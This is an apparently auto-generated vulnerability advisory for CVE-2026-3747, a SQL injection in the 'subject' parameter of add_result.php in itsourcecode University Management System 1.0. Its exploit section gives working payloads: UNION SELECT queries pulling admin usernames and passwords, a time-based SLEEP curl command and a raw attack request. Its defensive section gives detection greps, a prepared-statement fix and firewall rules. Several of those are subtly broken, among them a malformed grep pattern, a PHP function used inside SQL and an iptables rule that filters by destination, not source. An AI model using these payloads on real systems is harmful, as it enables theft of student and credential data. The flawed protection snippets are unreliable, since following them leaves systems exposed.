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The vulnerability, identified as CVE-2026-3747, resides in the `add_result.php` file of itsourcecode University Management System version 1.0 . The core issue stems from the application’s failure to properly sanitize user input supplied to the ‘subject’ parameter within this script . This oversight allows an unauthenticated, remote attacker to manipulate the parameter by appending malicious SQL syntax. When the application incorporates this unfiltered input directly into a database query, the injected SQL code is executed by the backend database . The CVSS 4.0 vector string (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P) indicates the attack requires no privileges or user interaction, and a public exploit is already available . Successful exploitation can lead to partial disclosure (data theft of student grades or personal information), partial modification (altering academic records), or partial disruption of database availability . The vulnerability is cataloged under CWE-89, confirming it as a classic SQL injection flaw .
DailyCVE Form:
Platform: itsourcecode University Management
Version: 1.0
Vulnerability : SQL Injection
Severity: Medium (CVSS 6.9)
date: March 8 2026
Prediction: Likely March 2026
What Undercode Say:
Analytics:
Detection involves monitoring web server logs for SQL injection patterns targeting add_result.php.
Grep Apache access logs for suspicious 'subject' parameter requests sudo cat /var/log/apache2/access.log | grep "add_result.php" | grep -i "subject=" | grep -E "(%27|')|(--)|(%23)|"
Real-time log monitoring for the specific payload pattern sudo tail -f /var/log/apache2/access.log | awk '/add_result.php/ && /subject=/ && (/\047/ || /--/ || /%27/)'
Simple Python script to check if a target is vulnerable
import requests
target = "http://example.com/add_result.php"
payload = {"subject": "test' OR '1'='1"}
try:
r = requests.post(target, data=payload, timeout=5)
if "mysql_fetch" in r.text or "SQL syntax" in r.text:
print("[!] Potential Vulnerability Detected")
else:
print("[-] Not vulnerable or patched")
except: pass
Exploit:
The exploit leverages a simple SQL payload via the `subject` POST parameter to break out of the original query context.
-- Payload Example: ' UNION SELECT username,password FROM admin-- - ' UNION SELECT 1,2,database()-- -
Curl command to exploit (using time-based blind inference) curl -X POST http://192.168.1.100/add_result.php -d "subject=test' AND SLEEP(5)-- -"
POST /add_result.php HTTP/1.1 Host: target.local Content-Type: application/x-www-form-urlencoded subject=test' UNION SELECT version(),user(),null-- -
Protection from this CVE:
Immediate protection requires input validation and a Web Application Firewall (WAF) rule.
// Secure PHP Code (Parameterized Query)
$conn = new mysqli($servername, $username, $password, $dbname);
$stmt = $conn->prepare("INSERT INTO results (subject) VALUES (?)");
$stmt->bind_param("s", $_POST['subject']); // Binds parameter safely
$stmt->execute();
-- Alternative: Manual escaping (less safe, use prepared statements) SET @subject = mysql_real_escape_string($input);
WAF Rule (ModSecurity):
SecRule ARGS:subject "@detectSQLi" "id:1001,phase:2,block,msg:'SQL Injection Attempt'"
Network-level protection involves restricting access to the admin panel.
iptables: Restrict access to the management interface to internal IPs only sudo iptables -A INPUT -p tcp --dport 80 -d 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 80 -j DROP
Impact:
The impact is primarily on data confidentiality and integrity. An attacker can extract student records, personal data, and administrative credentials from the database . Partial integrity loss could allow grade tampering or defacement of displayed results. Due to the lack of authentication requirements for this attack vector, any internet-facing installation of version 1.0 is at immediate risk of compromise . The availability of public exploit code significantly increases the likelihood of automated scanning and exploitation attempts in the wild.
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Sources:
Reported By: nvd.nist.gov
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